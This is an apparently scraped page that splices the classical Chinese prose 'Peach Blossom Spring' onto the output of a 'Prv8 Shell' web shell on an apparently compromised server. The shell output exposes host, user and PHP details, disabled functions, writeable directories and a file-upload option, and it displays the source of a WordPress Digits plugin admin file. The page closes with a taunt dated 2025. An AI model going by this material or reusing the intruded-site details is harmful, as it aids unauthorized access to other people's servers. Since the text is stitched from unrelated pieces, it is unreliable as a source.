晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/public_html/oldTZh/wp-content/plugins/digits/admin/includes/tabs/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/public_html/oldTZh/wp-content/plugins/digits/admin/includes/tabs/dashboard_data.php
<?php


if (!defined('ABSPATH')) {
    exit;
}

DigitsDashboardData::instance();

final class DigitsDashboardData
{

    const LOGIN_TIME_SAVE_IN_S = 30;
    protected static $_instance = null;

    public function __construct()
    {
        add_action('wp_ajax_digits_admin_dashboard_stats', array($this, 'admin_dashboard'));
    }

    /**
     *  Constructor.
     */
    public static function instance()
    {
        if (is_null(self::$_instance)) {
            self::$_instance = new self();
        }
        return self::$_instance;
    }

    public function admin_dashboard()
    {
        $this->check_permission();


        /* $duration = $_REQUEST['duration'];
         if (empty($duration)) {
             $duration = absint(12);
         }*/

        if ($_REQUEST['graph_type'] == 'users') {
            $data = $this->get_total_users(12);
        } else {
            $data = $this->get_total_logins(6);
        }
        wp_send_json_success($data);
    }

    public function check_permission()
    {
        if (!current_user_can('manage_options')) {
            die();
        }
        if (!wp_verify_nonce($_REQUEST['nonce'], 'digits_admin_dashboard')) {
            die();
        }

    }

    public function get_total_users($duration)
    {
        $total_otp = $this->get_total_otp_count();

        global $wpdb;

        $duration = absint($duration);

        $sql = "SELECT COUNT(*) FROM {$wpdb->prefix}users WHERE user_registered > now()-interval %d month ";
        $sql = $wpdb->prepare($sql, $duration);
        $total_users = $wpdb->get_var($sql);

        $data = array();
        $sql = "SELECT COUNT(*) as total_users, DATE_FORMAT(user_registered,'%m-%Y') as duration FROM {$wpdb->prefix}users WHERE user_registered > now()-interval %d month GROUP BY DATE_FORMAT(user_registered,'%m-%Y') ";
        $sql = $wpdb->prepare($sql, $duration + 1);
        $records = $wpdb->get_results($sql);

        $dateTime = new DateTime();
        for ($i = 1; $i <= $duration; $i++) {
            $date_key = $dateTime->format('m-Y');
            $month = $dateTime->format('M');
            $data[$date_key] = ['x' => $month, 'y' => 0];
            $dateTime->modify('-1 month');
        }

        foreach ($records as $record) {
            if (isset($data[$record->duration])) {
                $data[$record->duration]['y'] = $record->total_users;
            }
        }


        $password_less_logins = $this->get_total_password_less_login_count();
        $result = array(
            'total_data' => $this->format_number($total_users),
            'graph' => array_reverse(array_values($data)),
            'total_otps' => $this->format_number($total_otp),
            'total_time_save' => $this->format_number($password_less_logins * self::LOGIN_TIME_SAVE_IN_S / 60),
            'type' => 'user'
        );
        return $result;
    }

    public function get_total_otp_count()
    {
        global $wpdb;
        /*$sql = "SELECT COUNT(*) FROM {$wpdb->prefix}digits_request_logs WHERE mode = %s ";
        $sql = $wpdb->prepare($sql, $route);*/
        $sql = "SELECT COUNT(*) FROM {$wpdb->prefix}digits_request_logs";
        $total = $wpdb->get_var($sql);
        return $total;
    }

    public function get_total_password_less_login_count()
    {
        global $wpdb;
        $sql = "SELECT COUNT(*) FROM {$wpdb->prefix}digits_login_logs WHERE password_less = 1";
        $total = $wpdb->get_var($sql);
        return $total;
    }

    public function format_number($number)
    {
        $suffix = '';
        if ($number > 9999) {
            $number = floor($number / 1000);
            $suffix = 'k';
        }
        $number = round($number, 2);
        return $number . $suffix;
    }

    public function get_total_logins($duration)
    {
        global $wpdb;

        $duration = absint($duration);

        $sql = "SELECT COUNT(*) FROM {$wpdb->prefix}digits_login_logs WHERE time > now()-interval %d month ";
        $sql = $wpdb->prepare($sql, $duration);
        $total_users = $wpdb->get_var($sql);

        $sql = "SELECT COUNT(*) as total_users, DATE_FORMAT(time,'%Y-%m-%d') as duration FROM {$wpdb->prefix}digits_login_logs WHERE time > now()-interval $duration month GROUP BY DATE_FORMAT(time,'%Y-%m-%d') ";

        $records = $wpdb->get_results($sql);
        $data = array();
        foreach ($records as $record) {
            $data[$record->duration] = $record->total_users;
        }

        $start = new DateTime();
        $end = new DateTime();
        $start->modify("-$duration months");

        $range = $this->date_range($start, $end);

        $result = array();
        foreach ($range as $date_info) {
            $date = $date_info[0];
            $timestamp = $date_info[1];
            $day_logins = !empty($data[$date]) ? $data[$date] : 0;
            $result[] = [$timestamp, $day_logins];
        }
        return array(
            'total_data' => $this->format_number($total_users),
            'graph' => $result,
            'type' => 'logins'
        );
    }

    public function date_range($start, $end)
    {
        $dates = [];
        $start->setTime(0, 0, 0);
        $end->setTime(0, 0, 0);
        $current = $start->getTimestamp();
        $end_time = $end->getTimestamp();

        while ($current <= $end_time) {

            $time_stamp = $start->getTimestamp();
            $dates[] = [$start->format('Y-m-d'), $time_stamp * 1000];
            $start->modify('+1 day');
            $current = $time_stamp;
        }

        return $dates;
    }
}

haha - 2025